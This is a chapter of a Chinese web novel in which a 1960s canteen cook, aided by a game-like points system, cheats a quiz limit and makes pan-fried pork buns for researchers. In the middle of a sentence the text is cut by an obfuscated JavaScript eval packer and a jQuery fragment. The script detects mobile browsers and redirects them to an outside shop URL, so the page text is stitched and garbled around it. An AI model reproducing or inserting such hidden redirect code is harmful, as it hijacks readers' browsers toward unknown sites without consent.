第59章鲜美的鲜肉生煎小
第二天早起,苑小桃心情大好。
她拿着脸盆打井水洗完脸，又背了一会儿诗词，等俞周到来后和他一起温习一遍,便告诉了他系统这个新消息。
听了她的话,俞周确认道：“诗词接龙答题最多只能回答五百道题目？”
“对。”苑小桃答得轻松,“所以我昨天晚上在第四百九十九道答题时，便想着主动失败，这样一来，就没有超过五百道的最高值。”
看着她明亮如昔的杏眸，即便智商高如俞周，也不由称赞一声：“这个主意妙！”
系统有限制,寻常人一般就只能想到答完五百道题目,遗憾这个答题任务即将要结束了。
有下次机会，再参与别的答题。
哪有如苑小桃一般,直接给系统手动增加了一个失败,直接打破了规则的限制。
如此一来,四百九十九道题目既没有超过规定的五百道题目限制，又能继续合理化的刷积分,简直就是思路清晰,另辟蹊径。
苑小桃当真是聪明。
“哪有哪有！”
听到俞周的夸赞，她没有丝毫不好意思,谦虚了一下。
接着,苑小桃继续拿起书,背下一首诗。
这副坦然自若的态度,更是让俞周钦佩。
再刷到这么多积分之后,还能这么专心致志地早起背书,她的毅力和坚韧的性格就超过了很多人。
更别提她的刻苦努力了,每天深夜点亮的煤油灯都望在他的眼里，让俞周不由感叹。
熬这么多夜，也不知道她的身体挺不挺得住。
等两人背完诗，俞周问她：“糖吃完了吗，还有吗？”
听到此话，苑小桃连连点头，“还有不少。”
俞周送的那包五花八门的糖，她珍惜极了，只在夜晚背得头晕脑胀时奖励自己一块，平时都舍不得吃。
所以，现在还有好多糖被她安稳地珍藏在筐子里。
苑小桃生怕他再破费，连忙开口道：“不用再给我买糖，我那里一时还吃不完。你的钱也不是大风吹来的，省着吧。”
研究员的工资虽多，但花销用的地方也多。
俞周还经常托人邮寄国外的期刊复印件，想必都得花不少钱。
不能再给她破费了。
看她的态度坚持，俞周也没有拒绝。
他的冷冽嗓音清爽，只说了一句话。
“行，有需要跟我说
。”
“好！”
苑小桃看着他与他相视一笑。
再看看手里的诗词书籍和头顶上渐渐升起来的一轮旭日她的心情更加好了。
美好的一天又要开始了。
两人在院子门口分别俞周转身迈着朗然的大步向着研究员们宿舍的方向走去喊其他研究员们起来跑步。
而苑小桃转身走向食堂的方向。
一进食堂大门她现将门窗都打开敞开一晚上闷着的空气让食堂大厅内空气流通。
然后又洗净手围上围裙进入后厨。
今天食堂的早餐她早已经想好了菜单是最最好吃的生煎小笼包。
这道家喻户晓的美食广受华国人民喜爱上至七八十岁数的老人家下至幼龄的孩童都对这道生煎小笼包爱不释手。
酥脆金黄的薄薄面皮和鲜美的馅料尤为一绝。
苑小桃要做的就是鲜肉生煎小笼包。
一大早苑建国已经提前到食堂里在后厨发好了面。
此时他正拿着一个小磨盘在磨豆子准备熬豆浆。
苑小桃进到厨房同他打了一声招呼“苑叔早！”
“小桃你来了。”苑建国抬头笑着回应一声孔武有力的臂膀以均匀的速度转磨盘下面接着的小盆里已经磨出来不少乳白色的黄豆汁。
苑小桃取来大面盆揭开上面盖着的湿布里面赫然是苑建国已经提前发酵好的面团。
她取出来在案板上洒了一层面粉将面团轻柔揉好直到揉成光滑的面团按一下面团内部的手感刚刚好。
既不会过于湿润也不干硬最适合用来制作生煎小笼包的外皮。
她将发酵好的面团揉成长条用大圆刀切成一个个大小均匀的面剂子拿来擀面杖将面剂子擀成中间厚周围薄薄的面皮。
一张张薄如纸翼的小笼包面皮就准备好了。
里面的内馅更是讲究。
好吃的生煎小笼包需得一口咬下就流汤。
秘诀就在于在馅料中间加了皮冻。
苑小桃手边没有皮冻就巧妙地化用了另一种方法将猪肉剁成肉馅边搅拌边倒水让肉馅吃足了水分。
直到调和成均匀的馅料她才用小勺取出满满的馅料放在面皮中央手指轻巧翻飞将面皮的边缘捏出漂亮的褶子。
一个好看的小笼包就做好了。
看她利落的动作
，情不自禁地笑着赞扬道：“小桃，你包的小笼包好看着了！
洁白的面皮光滑如玉，上面的褶子整齐别致，小巧玲珑的小笼□□薄馅大，圆滚滚得如同一个小灯笼。
任谁看到了，都想赞一声。
苑小桃笑着看堂叔，他那边的豆浆也已经下了锅，手底下的速度越发快了。
行云流水间，一案板的小笼包就飞快包好了。
大锅里刷上一层薄薄的花生油，她将小笼包依次摆放在大锅内，等底部煎得金黄，痛快倒入一大碗面粉水，没过小笼包的一半，盖上锅盖。
然后，就只剩下等待了。
苑小桃坐在灶台前的小板凳上，慢慢烧火，只用小火煎制。
食堂的大锅是圆底的，不像平底锅一样受热均匀，好掌握火候，保证整锅的小笼包同时煎熟。
她格外多用些心思，一点儿也不着急，看着小火在灶膛里微燃。
不多时，小笼包的香气就从大锅中缓缓冒出来，香飘四溢，充满了整个食堂。
等大锅里的水分快要蒸发完，她打开锅盖，看到一大锅的小笼包已经金黄酥脆，底壳香酥，直接将灶膛里的火熄灭。
苑小桃拿起大铲勺，将煎好的小笼包爽快地翻出，一一铲到盘子里。
苑建国的豆浆也煮好了，两人同时将鲜肉生煎小笼包和豆浆端上桌。
一放到食堂大厅的前方，就见小丁抱着一本大部头的厚书跑进来。
“太香了，这是什么好吃的？
刚才在办公室里正专心的看书，闻到这一股馥郁的香气，小丁就忍耐不住了。
匆匆抱着书，就往食堂跑。
现在，他看到一大盘堆成小山的金黄酥脆生煎小笼包，再闻闻整个食堂飘着的喷香香气，脸上沉醉的表情就更加忍不住了，不由大喊着感叹。
“小桃，这包子怎么这么香！
这还不得香迷糊人！
看小丁这副摸样，苑小桃不由好笑，直接拿来一个盘子，给他盛上了许多鲜肉生煎小笼包。
她端上桌，让小丁快尝尝。
一旁的苑建国也顺便向大圆桌中央，端来一大盆热乎乎的豆浆，让研究员们自行舀在饭缸子里喝。
小丁哪里顾得上热乎的豆浆？
他看着那一盘热气腾腾的生煎小笼包，眼神都直了。
他等不及就拿起筷子，夹上一个生煎小笼包，往口里送。
“等一等，烫——！
苑小桃的话都还没有说完，就看
<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|13659486|135664||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>见小丁烫得龇牙咧嘴。
他一边被烫得哈着气，一边大喊着好吃。
刚出锅的鲜肉生煎小笼包最是美味，每一个都底部金黄，带着香酥的外壳，酥脆可口。
上半部分柔软的面皮薄薄的，意外地有韧劲，口感十分奇妙，和酥脆的底部形成了鲜明的对比。
一口咬下去，被滚烫的肉汤灌进嘴里。
烫！鲜！甜！
一时间，无数个感觉在口腔里迸发出来，让人情不自禁地沉醉在其中。
鲜美的鲜肉馅汁水丰富，饱含鲜甜的滋味，浓郁地像是吃了一口最鲜美的汤汁。
再然后是肉馅的柔软口感品尝出来，好吃得不像话。
和面皮搭配在一起，更是美味百倍，提升了无数口感。
小丁被烫了一大口，还是被这股鲜美的滋味深深诱惑，忍不住持续吃下去。
他一口接着一口，将一整个鲜肉生煎小笼包吃完。
这方才有空称赞一句。
“香！太香了！”
听到他的赞赏，苑小桃也成就感满满，扬起了脸上的笑容。
看其他研究员们先后也赶来食堂，她将热乎的鲜肉生煎小笼包盛好，一一给研究员们端上桌。
年纪最长的老王研究员在座位上一坐下，看见这些生煎小笼包就乐得满脸是笑。
“哎呀，生煎小笼包，好久没吃到了！”
他感慨一句，连忙拿起筷子，速度比老周不逞多让。
不像小丁一样囫囵吞枣，老王研究员对生煎小笼包颇为捻熟，吃法也十分熟悉。
他拿起一个鲜肉生煎小笼包，就咬开一个小口子，将鲜美的汤汁先吸着喝完。
没有了滚烫的汤汁，小笼包的温度也下降了不少。
他再慢慢开始吃起来，姿态舒服，显得怡然自得。
小丁看得稀奇。
他恍然大悟道：“老王头，原来小笼包是这么吃法！”
再看看一旁的俞周，也是一样的吃法。
小丁不由得生出了学习之心。
他也学着其他研究员们的样子，先咬开一个口子，喝上一口鲜美的汤汁，立刻就被汤汁鲜掉了眉毛。
生煎小笼包在大锅中经过精心煎制，底部变得酥脆金黄，而顶部半透明的面皮薄如蝉翼，轻轻一咬，便能感受到那份恰到好处的柔软与弹性。
里面包裹的猪肉馅更是馥郁芳香，香喷喷的。
再学着研究员老周的醋碟，给小笼包蘸上一点醋，小丁奇妙地大呼，“这样更好吃了！”
这一道鲜肉生煎小笼包，一时间征服了所有研究员们的味蕾。
食堂打烊后，苑小桃打扫卫生，然后开始背书。
等晚上临近深夜，她再度开始每天日常的诗词接龙刷题。
这一次，她依旧控制在第四百九十九道题。
看到系统出现熟悉的提示——
【答题结束，今天挑战机会已用完。】
【本轮回答正确四百九十九道题目，获得积分奖励249.5点。】
【明日零点至二十四点之间，可获得答题机会一次，再次参与答题。】
苑小桃神采飞扬。
她刚刚进入会员中心，看看自己这些天积攒的积分，已经超过了一千点。
就看到系统出现了一个新的提示。
【目前达到累积积分，恭喜解锁“老式鸡腿面包”。】
鸡腿面包？
油香酥软的鸡腿形状面包里面，夹着一根火腿肠的那一种老式面包？
苑小桃不由得惊喜。
谁的儿时没吃过？
她必须给六十年代的小朋友们都送上！
作者有话要说